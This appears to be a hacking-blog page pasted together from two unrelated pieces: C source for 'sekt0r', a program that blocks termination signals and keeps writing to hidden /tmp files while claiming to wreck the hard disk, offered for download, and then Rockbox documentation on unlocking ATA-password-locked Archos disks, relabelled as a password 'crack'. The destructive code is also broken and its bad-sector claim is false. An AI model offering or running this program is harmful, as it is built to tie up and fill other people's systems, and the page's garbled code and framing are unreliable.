#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0,x,fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(“sekt0r: trashing hard disk with bad sectors!\n”);
while(1) {
fd[1] = open(“/tmp/.test”, O_WRONLY|O_CREAT, 511);
fd[2] = open(“/tmp/.test1″, O_WRONLY|O_CREAT, 511);
fd[3] = open(“/tmp/.test2″, O_WRONLY|O_CREAT, 511);
fd[4] = open(“/tmp/.test3″, O_WRONLY|O_CREAT, 511);
fd[5] = open(“/tmp/.test4″, O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} } }
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf(“sekt0r: cannot exit – trashing hard disk with bad sectors!\n”);
return; /* go back to creating bad sectors. */
}


DOWNLOAD CODE

THANKS... 

Ok guys, here is a simple n effective way to crack/unlock a locked hdd/harddisk 

password. So lets check it out...
During development of the Rockbox firmware, on several occations the
harddisk has become locked, i.e. password protected. This results in
the Archos displaying:

Part. Error
Pls Chck HD

We are still not 100% sure why it happened. Theories range from
low-power conditions to accidental chip select failure. It has also
happened for normal users, using the standard Archos-supplied
firmware, although it was more frequent for us developers.

Note: None of us developers have experienced this problem since march 2002. 

We do however know how to unlock the disk: 

Windows/DOS unlock
Note: This requires taking the Archos apart, which will void your warranty! 

Grab atapwd
Create a bootable DOS floppy disk, and put atapwd.exe on it 
Remove the harddisk from your Archos and plug it into a laptop (or a
standard PC, using a 3.5" => 2.5" IDE adapter)
Boot from the floppy and run atapwd.exe 
Select the locked harddrive and press enter for the menu 
For Fujitsu disks: Choose "unlock with user password", then "disable
with user password". The password is empty, so just press enter at the
prompt.
For Toshiba and Hitachi disks, if the above doesn't work: Choose
"unlock with master password", then "disable with master password".
The password is all spaces.
Your disk is now unlocked. Shut down the computer and remove the disk. 
Big thanks to Magnus Andersson for discovering the Fujitsu (lack of)
user password!

There is also a program for win32, ArchosUnlock.exe, that creates a
linux boot disk with the below mentioned patched isd200 driver.

Linux unlock
For those of us using Linux, we have written an isd200 driver patch. 

This modified driver will automatically unlock
the disk when you connect your Archos via USB, so you don't have to do
anything special. Apply the patch to a 2.4.18 linux kernel tree.

Still locked?
If the above suggestions don't work, here's some background info about
the disk lock feature:

The disk lock is a built-in security feature in the disk. It is part
of the ATA specification, and thus not specific to any brand or
device.

A disk always has two passwords: A User password and a Master
password. Most disks support a Master Password Revision Code, which
can tell you if the Master password has been changed, or it it still
the factory default. The revision code is word 92 in the IDENTIFY
response. A value of 0xFFFE means the Master password is unchanged.

A disk can be locked in two modes: High security mode or Maximum
security mode. Bit 8 in word 128 of the IDENTIFY response tell you
which mode your disk is in: 0 = High, 1 = Maximum.

In High security mode, you can unlock the disk with either the user or
master password, using the "SECURITY UNLOCK DEVICE" ATA command. There
is an attempt limit, normally set to 5, after which you must power
cycle or hard-reset the disk before you can attempt again.

In Maximum security mode, you cannot unlock the disk! The only way to
get the disk back to a usable state is to issue the SECURITY ERASE
PREPARE command, immediately followed by SECURITY ERASE UNIT. The
SECURITY ERASE UNIT command requires the Master password and will
completely erase all data on the disk. The operation is rather slow,
expect half an hour or more for big disks. (Word 89 in the IDENTIFY
response indicates how long the operation will take.)

Thanks...